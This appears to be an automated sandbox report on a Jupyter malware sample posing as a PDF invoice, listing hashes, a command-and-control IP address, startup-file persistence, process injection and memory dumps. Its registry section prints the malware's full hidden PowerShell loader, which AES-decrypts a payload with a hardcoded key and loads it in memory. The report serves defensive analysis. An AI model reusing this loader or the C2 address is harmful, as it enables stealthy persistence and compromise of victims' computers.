Analysis
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max time kernel
153s -
max time network
159s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
16-04-2024 21:29
Static task
static1
Behavioral task
behavioral1
Sample
Tools-Invoice.pdf.7z
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Tools-Invoice.pdf.7z
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
Tools-Invoice.pdf.exe
Resource
win7-20240221-en
General
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Target
Tools-Invoice.pdf.exe
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Size
272.0MB
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MD5
19ec298f977fdc71f195a4782fa8b156
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SHA1
4a6035ce7510a7cc02bb785244e2cfcaec89131d
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SHA256
32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c
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SHA512
d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391
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SSDEEP
49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJO:Uj+tNtV/AAFBH9yzLt
Malware Config
Extracted
jupyter
http://146.70.71.174
Signatures
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Drops startup file 1 IoCs
Processes:
Tools-Invoice.pdf.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PUpEGAvZGuaLfHHvJRSggqMr.uShXBasmBAnbXrmOZDUTDFqSFvpP Tools-Invoice.pdf.exe -
Executes dropped EXE 1 IoCs
Processes:
TvtuziedoTs.exepid process 2512 TvtuziedoTs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 7 IoCs
Processes:
Tools-Invoice.pdf.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\epzehevtmxmhrsvef\shell\open\command Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\epzehevtmxmhrsvef Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\epzehevtmxmhrsvef\shell Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\epzehevtmxmhrsvef\shell\open Tools-Invoice.pdf.exe Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\epzehevtmxmhrsvef\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxQVXBFR0F2Wkd1YUxmSEh2SlJTZ2dxTXIudVNoWEJhc21CQW5iWHJtT1pEVVRERnFTRnZwUA=='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\"" Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.ushxbasmbanbxrmozdutdfqsfvpp Tools-Invoice.pdf.exe Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.ushxbasmbanbxrmozdutdfqsfvpp\ = "epzehevtmxmhrsvef" Tools-Invoice.pdf.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Tools-Invoice.pdf.exedescription pid process Token: SeDebugPrivilege 2688 Tools-Invoice.pdf.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
Tools-Invoice.pdf.exedescription pid process target process PID 2492 wrote to memory of 2512 2492 Tools-Invoice.pdf.exe TvtuziedoTs.exe PID 2492 wrote to memory of 2512 2492 Tools-Invoice.pdf.exe TvtuziedoTs.exe PID 2492 wrote to memory of 2512 2492 Tools-Invoice.pdf.exe TvtuziedoTs.exe PID 2492 wrote to memory of 2512 2492 Tools-Invoice.pdf.exe TvtuziedoTs.exe PID 2492 wrote to memory of 2688 2492 Tools-Invoice.pdf.exe Tools-Invoice.pdf.exe PID 2492 wrote to memory of 2688 2492 Tools-Invoice.pdf.exe Tools-Invoice.pdf.exe PID 2492 wrote to memory of 2688 2492 Tools-Invoice.pdf.exe Tools-Invoice.pdf.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s2⤵
- Drops startup file
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exeFilesize
997KB
MD5dbc534854dd385e59a3f1906ddfb9020
SHA12b3062d82232ce10a8713829199769ff0d12e0fc
SHA25606486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0
SHA5121506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951
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memory/2492-1-0x000007FEF5A70000-0x000007FEF645C000-memory.dmpFilesize
9.9MB
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memory/2492-0-0x0000000000800000-0x0000000000A3E000-memory.dmpFilesize
2.2MB
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memory/2492-10-0x000007FEF5A70000-0x000007FEF645C000-memory.dmpFilesize
9.9MB
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memory/2512-14-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
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memory/2512-9-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
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memory/2512-12-0x0000000000400000-0x0000000000500000-memory.dmpFilesize
1024KB
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memory/2688-21-0x0000000000160000-0x000000000017C000-memory.dmpFilesize
112KB
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memory/2688-15-0x000007FEF5A70000-0x000007FEF645C000-memory.dmpFilesize
9.9MB
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memory/2688-20-0x000000001B9D0000-0x000000001BCB2000-memory.dmpFilesize
2.9MB
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memory/2688-11-0x000007FEF5A70000-0x000007FEF645C000-memory.dmpFilesize
9.9MB
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memory/2688-22-0x0000000000500000-0x0000000000548000-memory.dmpFilesize
288KB
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memory/2688-23-0x0000000000140000-0x0000000000148000-memory.dmpFilesize
32KB
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memory/2688-24-0x0000000000740000-0x00000000007E6000-memory.dmpFilesize
664KB
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memory/2688-25-0x0000000000550000-0x0000000000584000-memory.dmpFilesize
208KB
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memory/2688-26-0x0000000002260000-0x00000000022AA000-memory.dmpFilesize
296KB
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memory/2688-27-0x0000000000460000-0x0000000000476000-memory.dmpFilesize
88KB
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memory/2688-29-0x000000001B1A0000-0x000000001B220000-memory.dmpFilesize
512KB
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memory/2688-32-0x00000000025D0000-0x0000000002684000-memory.dmpFilesize
720KB
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memory/2688-36-0x000000001B1A0000-0x000000001B220000-memory.dmpFilesize
512KB